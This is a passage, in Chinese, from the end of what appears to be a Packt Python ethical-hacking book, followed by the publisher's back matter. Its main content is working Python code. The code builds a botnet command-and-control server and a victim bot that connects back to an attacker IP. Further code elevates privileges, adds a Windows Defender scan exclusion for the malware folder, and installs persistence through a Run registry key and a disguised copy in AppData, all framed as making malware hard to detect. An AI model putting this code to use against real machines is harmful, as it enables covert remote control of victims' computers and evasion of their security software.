threads = []
clients = []
接下来,我们将创建一个名为listen_for_bots()的函数,顾名思义,它将监听传入的 bot 连接:
def listen_for_bots(port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("", port))
sock.listen()
bot, bot_address = sock.accept()
clients.append(bot)
这和我们之前编写黑客程序时的操作非常相似。唯一的区别是,一旦客户端连接,我们会将其添加到client列表中,这样我们就可以像在黑客程序中一样利用这个连接做各种事情。
现在,我们定义一个main()函数,所有的逻辑将在这里处理:
def main():
print("[+] 服务器 bot 等待传入连接")
startig_port = 8085
bots = 3
我们定义了要使用的端口。请注意,这是一个starting_port,我们将为不同的客户端使用不同的端口。我们会简单地在每个新客户端上加 1。变量bots=3表明我们只想连接三个 bot,不过你可以根据需要添加任意数量的客户端:
for i in range(bots):
t = Thread(target=listen_for_bots, args=(i + startig_port,), daemon=True)
threads.append(t)
t.start()
接下来,我们将在线程中运行这些任务。Daemon=True意味着我们希望将这些任务作为后台进程运行。然后,我们将每个线程添加到列表中,以便可以访问这些线程。
接下来,我们将为指挥控制中心运行一个循环。当客户端连接时,我们会显示所有客户端,并让黑客选择他们想要交互的客户端。然后,我们会为每个 bot 运行一个内部循环,通过访问列表中的元素来帮助我们向每个 bot 单独发送消息。在这里,你可以为 bot 定义自己的逻辑。你可以向 bot 发送命令并在 bot 所在的 PC 上执行这些命令。其余的功能可以由你根据需求自行定义。这里我们只是发送了一条消息。一旦达成目标,你可以将该客户端从列表中移除:
run_cnc = True
while run_cnc:
if len(clients) != 0:
for i, c in enumerate(clients):
print("\t\t", i, "\t", c.getpeername())
selected_client = int(input("[+] 通过索引选择客户端:"))
bot = clients[selected_client]
run_bot = True
while run_bot:
msg = input("[+] 输入消息:")
msg = msg.encode()
bot.send(msg)
if msg.decode() == "exit":
run_bot = False
status = bot.recv(1024)
if status == "disconnected".encode():
bot.close()
clients.remove(bot)
print("数据已发送")
else:
print("[+] 没有客户端连接")
ans = input("[+] 你想退出吗?按[y/n] ")
if ans == "y":
run_cnc = False
else:
run_cnc = True
现在我们已经为命令与控制中心定义了一个基本结构。完整的机器人代码可以在以下链接找到:
github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example13-CNC/CnC.py
接下来,我们将定义我们的机器人逻辑。
进入受害者计算机并创建一个名为bot1.py的新文件。我们将创建一个套接字对象,并尝试使用黑客的 IP 与黑客进行通信。这个步骤类似于我们之前开发的恶意软件程序:
import socket
if name == "main":
print("[+] 正在连接服务器")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.11", 8085))
接下来,我们将为run_bot创建一个循环,尝试接收 CNC 发送的消息。一旦消息接收,我们可以在这里定义自己的逻辑。这里我们仅打印消息,但你可以根据需要添加功能。一旦 CNC 发送退出消息,我们可以简单地将客户端机器人从服务器中断开。代码如下:
run_bot = True
while run_bot:
communicate_bot = True
while communicate_bot:
msg = s.recv(1024)
msg = msg.decode()
print("指令中心说:", msg)
if msg == "exit":
communicate_bot = False
ans = input("[+] 是否希望保持连接:")
ans = "connected"
if ans == "no":
status = "disconnected"
s.send(status.encode())
run_bot = False
else:
status = "conntected".encode()
s.send(status)
s.close()
完整的bot1.py代码请参见以下链接:
在本节中,我们学习了如何为机器人网络客户端创建一个命令与控制中心。你可以添加任意数量的客户端,并使用你的 CNC 程序统一控制它们。
总结
在本章中,我们学习了一些成功部署恶意软件程序的方法。恶意软件程序的一个重要方面是它的隐蔽性。本章重点讲解了如何将恶意软件隐藏在图像中。我们学习了通过公共 IP 进行恶意软件攻击,以及黑客如何攻击不在同一网络中的受害者。接着,我们学习了如何使用字典攻击破解密码保护的文件。最后,我们学习了如何创建一个用于僵尸网络攻击的指挥控制中心。这些攻击允许黑客通过一个程序控制大量分布式设备。通过本章的学习,你应该能够创建木马、执行公共 IP 攻击,并创建自己的僵尸网络。在下一章中,我们将学习如何保护作为黑客的在线身份,以及这一点在成功攻击中的重要性。下一章见!
第九章:系统保护与持久化
本章我们将重点关注防御机制是如何工作的,通过了解它们的工作原理,您可以学习到如何使用哪些技术来绕过它们。我们将从了解入侵检测系统及其不同类型开始。然后,我们将学习检测机制。一旦我们理解了这些机制,我们将尝试使用我们的工具来绕过它们。总之,本章将集中讨论以下主题:
-
系统保护
-
入侵检测方法
-
检测机制
-
绕过 IDS
持久化系统保护
我们之前的章节集中在创建恶意软件和执行不同的攻击上。这是攻击的进攻性一面。然而,在真实的黑客攻击中,您需要知道如何保护自己免受外部攻击。更好地理解保护机制不仅有助于您保护自己,而且这种知识还将帮助您成功地进行攻击。对外部网络攻击或系统攻击的第一道防线通常是入侵检测系统(IDS)。IDS 是用于系统安全和保护的各种工具的总称,因此我们必须详细了解它们。
入侵检测系统
IDS 是一个持续监控并检测网络或系统组件的系统,用于检测任何不良或可疑的行为。IDS 的目标是防止系统中出现任何不良的情况。从根本上说,IDS 有三种类型:
-
主机基础的 IDS
-
网络基础的 IDS
-
混合型 IDS
让我们在接下来的章节中详细讨论这些内容。
主机基础的 IDS
主机基础的 IDS 在它们所监控的系统上运行。与其他软件一起,主机基础的 IDS 会监控文件系统,扫描潜在的有害文件。它们还会监控和分析网络流量,以查看网络中是否有恶意流量。
主机基础的 IDS 是系统安全机制的重要组成部分;然而,它们通常无法提供有关系统安全状态的完整细节。它们可能会被不同的攻击修改甚至绕过。主机基础 IDS 的一个重要方面是它在现代威胁检测方面的更新频率。它应该不断跟进现代威胁,并在发现时立即阻止它们。主机基础 IDS 的一个重要特点是保留所有关键活动的日志。这对威胁检测和事件响应非常有帮助。
在大多数常见的操作系统中,您已经有某种主机基础的 IDS 内置在系统中。在 Windows 操作系统中,Windows 内置的杀毒软件是主机 IDS 的一部分。它监控并检测系统上的任何可疑活动,并阻止潜在的威胁对系统进行攻击。除了病毒检测外,它还会检测任何对关键 Windows 基础设施的篡改。
网络基础的 IDS
系统安全的另一个重要方面是基于网络的保护。基于网络的 IDS 在限制外部网络攻击的发生中发挥着关键作用。它们在保护网络中所有设备方面起着作用。它通过监控整个子网的网络流量来观察可疑活动。它可以与防火墙结合使用,以提供额外的安全性。有时,网络范围内的防火墙也是 IDS 的一部分。
混合型 IDS
正如名称所示,与单独的系统相比,这些检测系统为系统提供了更多的安全性。它们结合了基于系统和基于网络的方法来捕捉恶意行为,并具有更高的检测率。现代混合型 IDS 使用常规技术和基于人工智能(AI)的技术来防止网络攻击。
现在我们已经了解了不同类型的 IDS,让我们看看这些 IDS 是如何工作的。
IDS 检测机制
最常见的 IDS 通过使用以下两种基本技术来工作,尽管现代的 IDS 使用了更加复杂的方法。让我们来看看不同的检测机制以及它们如何在实际系统中应用。
基于特征码的检测
这是一种经典的基于知识的方法,自计算机安全的早期阶段以来就已经使用。在这种方法中,保护软件可以访问一个大型的已知恶意软件数据库。通过这个数据库,它可以查看恶意软件中存在哪些字节,然后它简单地将任何新引入系统的文件与这些字节序列进行比较。如果一个未知文件的字节序列与数据库中存在的字节序列匹配,则意味着该未知文件很可能是恶意的,它将立即阻止该文件。否则,它将继续正常操作。其算法最简单的形式如下:
图 9.1 – 基于特征码的检测机制
基于特征码的检测对于已知的恶意软件非常有效,因此一个好的 IDS 必须拥有更大的恶意软件数据库。此方法的效果仅取决于它所拥有的数据库的质量。如果是新编写的恶意软件尚未被检测到,那么在该测试中会产生假阴性。
基于异常的检测
这些检测系统与基于特征码的方法不同。它们监控程序的活动,定义某些它认为是正常行为的场景,然后寻找这些行为中的任何异常。例如,一个游戏软件不应该试图禁用防病毒系统。一旦恶意软件程序试图做一些不应该做的事情,这些系统就会将这些程序标记为可疑,并继续监控它们,直到检测到该程序试图执行一些绝对不该做的操作。一旦检测到可疑行为,它们要么会完全阻止该程序,要么会为管理员生成红色警报。
请注意,IDS 和入侵防御系统(IPS)之间有一个小的区别。实际上,大多数情况下,这些任务是由同一软件完成的,我们通常不做实际区分。然而,偶尔你会看到 IDS 和 IPS 被单独提及,所以你应该了解它们之间的区别。
现在我们已经了解了什么是 IDS 以及它是如何工作的,我们可以开始构建一个程序,学习如何绕过这些系统。
绕过 IDS
在第六章,《恶意软件开发》和第七章,《高级恶意软件》中,我们开发了我们的恶意软件程序,而在第八章,《后渗透》中,我们学习了如何将恶意软件打包成木马。我们的恶意软件工作得很好,如果 IDS 使用基于签名的方法,它很可能不会被检测到,因为恶意软件是你自己编写的,且没有任何签名存在于任何地方。然而,现代 IDS 相当聪明,经过几次运行后,它们会开始注意到可疑行为,并使用非常详尽的方法进行分析。在这一节中,我们将尝试看看如何以管理员权限运行我们的 Python 可执行文件。这将有助于在受害者的机器上执行某些任务,而普通的可执行文件无法完成。例如,在 Windows 中禁用防病毒程序,或者为某个文件夹创建例外,使得病毒扫描程序不扫描该文件夹,都需要管理员权限。你无法通过普通的可执行文件完成这些操作。
让我们首先看看如何以管理员权限运行可执行文件。你可以将这种方法与恶意软件程序结合使用。然而,为了简便起见,我将使用一个简单的 Python 脚本来演示这个过程。
让我们创建一个新的 Python 脚本,并创建一个新的虚拟环境。提升 Python 程序权限的方法有很多,你可以在网上找到多种解决方案。然而,我找到的最简单解决方案是使用一个叫做elevate的库。由于我们将创建一个可执行文件进行演示,所以我们也需要安装pyinstaller。
一旦你创建了一个新项目并在虚拟环境中安装了pyinstaller,我们可以运行以下命令来下载elevate Python 模块:
pip install elevate
一旦安装了这个包,你可以在代码中使用它来提升可执行文件的权限。根据我的经验,我发现最好将这个功能放在脚本的开头,这样可以获得最佳效果。要提升脚本的权限,你只需调用该模块中的elevate函数。
让我们首先看看用户权限级别,在使用此模块之前。只需写出以下代码进行测试。我们可以使用os模块来检查是否拥有 root 权限:
import ctypes
import platform
def is_root():
if platform.system() == "Windows":
return ctypes.windll.shell32.IsUserAnAdmin()
else:
return 1
print(is_root())
你可以使用前面的代码来查看程序是否在提升模式下运行。如果前面的代码返回的值是1,则表示它以管理员身份运行,否则它是在非管理员模式下运行。让我们运行之前的程序来查看执行模式:
图 9.2 – 没有管理员权限
现在,为了提升权限,你可以直接调用elevate()方法。请注意,Windows 在处理权限提升时有一个小小的限制。当调用elevate()时,Windows 并不是以管理员身份运行相同的脚本,而是重新启动脚本并以更高的权限作为一个独立进程运行。对此尚无解决方法。因此,当调用提升权限时,会启动一个新的进程。让我们开始提升权限:
import ctypes
import platform
import time
from elevate import elevate
def is_root():
if platform.system() == "Windows":
return ctypes.windll.shell32.IsUserAnAdmin()
else:
return 1
print(is_root())
elevate()
print(is_root())
现在让我们创建一个可执行文件(就像我们在第八章,利用后操作一节的打包恶意软件部分中所做的那样),以便看到这一切的实际效果。要运行该程序,请双击创建的可执行文件。你会看到以下弹出窗口,要求用户点击是以提升权限。如果用户点击是,程序将以管理员模式运行:
图 9.3 – UAC(用户账户控制)弹出窗口
点击是,你将看到以下屏幕,表示一个新的进程已经被创建并以更高的权限运行,权限提升的标志为1:
图 9.4 – 管理员权限
现在我们已经学会了如何以管理员身份运行脚本,让我们看看如何修改 Windows 设置来添加 IDS 扫描的例外。我们将把一个目录添加到 Windows 的例外规则中。这将允许我们跳过某个目录的病毒扫描,并帮助我们在该目录中植入恶意软件。
提升权限的完整代码可以在以下链接查看:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example14-priv-escalation/escalation.py。
在之前的程序中,我们首先提升权限,然后在 Windows Defender 设置中添加对存放恶意软件的文件夹的排除项。这样就可以跳过当前文件夹的扫描。以下代码实现了这一功能:objective.d:
command = "Add-MpPreference -ExclusionPath " + dir_to_add
all_commands.append(command)
前一行将一个排除项添加到 Microsoft Defender 扫描库中,如下截图所示:
图 9.5 – 添加病毒扫描排除项
现在我们知道如何让程序在隐身模式下运行,避免被 IDS 检测到。接下来,我们将为程序添加持久性。这样,程序就能在 Windows 启动时自动运行,用户无需每次点击恶意程序就能建立反向连接。受害者只需点击一次恶意程序,我们将为启动程序添加一个 Windows 注册表键,这样每次电脑启动时,我们的恶意程序就会运行。你可以将此方法应用到我们之前开发的受害者程序中。为了简化起见,我将只使用一个演示脚本。
持久性
在这一节中,我们将学习如何在 Windows 启动时运行 Python 脚本。让我们创建一个新项目。你也可以修改我们之前开发的受害者程序,见第六章,恶意软件开发,和第七章,高级恶意软件。要为程序添加持久性,我们需要确切知道正在运行的可执行文件名称。一旦知道了可执行文件的名称,我们就可以将其复制到其他位置,并确保每次系统启动时从那里运行它。这听起来有点复杂,所以我们一步步来看。首先,我们需要知道可执行文件的名称。为此,让我们编写如下代码:
import sys
curr_executable = sys.executable
print("当前可执行文件:", curr_executable)
如果你以 Python 脚本的形式运行上述程序,输出将如下所示:
图 9.6 – 当前解释器名称
这只告诉我们 Python 解释器的名称,而不是我们所需的可执行文件名称。为什么会这样呢?因为我们目前只是运行一个脚本。获取实际可执行文件名称的唯一方法是使用pyinstaller。创建一个二进制可执行文件,并通过双击运行它。请看下面的截图:
图 9.7 – 实际的可执行文件名称
你可以看到,现在我们已经得到了实际需要的可执行文件名称。下一步是创建此可执行文件的副本并将其存储在其他位置,以便从受害者那里隐藏它,最后将注册表项添加到启动应用程序中。
我们将把这个可执行文件复制到 Windows 的AppData文件夹,这是一个包含应用程序数据的特殊文件夹。要获取appdata文件夹的路径,可以写以下代码:
app_data = os.getenv("APPDATA")
我们来给可执行文件重命名,这样它就不会显得可疑。我们将此可执行文件命名为system32_data.exe。这是一个虚构的名字,你可以使用任何你想要的名称:
to_save_file = app_data +"\"+"system32_data.exe"
接下来,将当前的可执行文件复制到appdata文件夹并重命名它。我们需要从 Python 标准库导入shutil模块:
shutil.copyfile(curr_executable, to_save_file)
若要将其添加到 Windows 启动时的注册表中,你需要运行以下代码:
key = winreg.HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key_obj, "systemfilex64", 0, winreg.REG_SZ, to_save_file)
winreg.CloseKey(key_obj)
这段代码简单地将to_save_file字符串添加到启动注册表中,该字符串包含可执行文件的名称。
要对程序进行修改,你需要以管理员模式运行此可执行文件,因此你可以将前一节中的代码复制并将其添加到此脚本的开头。完整的代码链接如下:
if not os.path.exists(to_save_file):
print("正在变得持久化")
shutil.copyfile(curr_executable, to_save_file)
key = winreg.HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key_obj, "systemfilex64", 0, winreg.REG_SZ, to_save_file)
winreg.CloseKey(key_obj)
否则:
print("路径不存在")
运行代码后,如果你进入appdata文件夹,你将看到以下可执行文件:
图 9.8 – 当前可执行文件已复制到 appdata 文件夹
同样,为了验证 Windows 注册表是否已被修改,可以通过在 Windows 搜索中搜索regedit打开注册表编辑器。打开后,前往以下路径:
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run":
图 9.9 – 编辑后的注册表
最后一行是我们刚刚添加的条目。你可以看到前面截图中的数据字段链接到我们刚刚复制的可执行文件。现在,如果你重新启动计算机,你会发现系统启动后,上述的可执行文件会自动启动。作为练习,尝试用受害者恶意软件程序复制相同的步骤。当受害者启动他们的计算机时,你应该能够从受害者的机器上获得一个返回连接。
总结
在这一章中,我们学习了不同的系统保护技术。我们首先了解了系统保护以及不同的入侵检测系统(IDS)/入侵防御系统(IPS)的工作原理。我们学习了不同类型的检测机制。我们还学习了如何使用具有提升权限的可执行文件。最后,我们学习了如何使我们的可执行文件持久化。这些知识,结合你在之前章节学到的内容,将使你能够开发出不易被检测的恶意软件工具。只要你保持恶意软件对系统的影响较低,IDS 就不容易检测到你的恶意软件。希望你学到了很多并且喜欢这本书!请记住,网络安全是一个不断变化的领域,你需要时刻与现代工具保持同步,才能成为一名成功的渗透测试人员。
订阅我们的在线数字图书馆,全面访问超过 7,000 本书籍和视频,并使用行业领先工具帮助你规划个人发展并推动职业生涯。更多信息,请访问我们的网站。
第九章:为什么订阅?
-
通过来自 4000 多位行业专家的实用电子书和视频,减少学习时间,增加编码时间
-
通过专为你定制的技能计划提高学习效率
-
每月获得一本免费的电子书或视频
-
完全可搜索,轻松访问关键信息
-
复制、粘贴、打印和书签内容
你知道 Packt 为每本出版的书籍提供电子书版本,并提供 PDF 和 ePub 文件吗?你可以在packt.com升级到电子书版本,作为印刷书籍的客户,你还可以享受电子书副本的折扣。欲了解更多详情,请联系我们:customercare@packtpub.com
在www.packt.com,你还可以阅读一系列免费的技术文章,订阅多个免费新闻简报,并获得 Packt 图书和电子书的独家折扣和优惠。
你可能喜欢的其他书籍
如果你喜欢本书,可能也会对 Packt 出版的其他书籍感兴趣:
精通 Python 网络与安全 - 第二版
José Manuel Ortega
ISBN: 978-1-83921-716-6
-
使用 Python 编写脚本自动化安全和渗透测试任务
-
探索 Python 编程工具在网络安全过程中的应用
-
自动化任务,如分析和提取服务器中的信息
-
了解如何检测服务器漏洞并分析安全模块
-
探索如何连接到 Tor 网络并获取信息
-
专注于如何使用 Python 取证工具提取信息
精通 Python 网络编程 - 第三版
Eric Chou
ISBN: 978-1-83921-467-7
-
使用 Python 库与网络进行交互
-
使用 Python 集成 Ansible 2.8,控制 Cisco、Juniper 和 Arista 网络设备
-
利用现有的 Flask Web 框架构建高级 API
-
学习如何在 AWS 和 Azure 云中构建虚拟网络
-
学习如何使用 Elastic Stack 进行网络数据分析
-
了解如何使用 Jenkins 自动部署你网络中的更改
-
在网络工程中,使用 PyTest 和 Unittest 进行测试驱动的网络开发
Packt 正在寻找像你这样的作者
如果您有兴趣成为 Packt 的作者,请访问authors.packtpub.com并立即申请。我们与成千上万的开发者和技术专业人士合作,帮助他们将自己的见解与全球技术社区分享。您可以提交一般申请,申请我们正在招聘作者的特定热门话题,或者提交您自己的创意。
留下评论 - 让其他读者了解您的想法
请通过在您购买本书的网站上留下评论,与他人分享您对本书的想法。如果您是从亚马逊购买的这本书,请在本书的亚马逊页面上留下真实的评论。这对于其他潜在读者来说至关重要,他们可以看到并利用您的公正意见做出购买决定;我们也能了解客户对我们产品的看法;同时,我们的作者也能看到您对他们与 Packt 合作所创作书籍的反馈。这将只占用您几分钟的时间,但对其他潜在客户、我们的作者以及 Packt 来说都非常宝贵。感谢您的支持!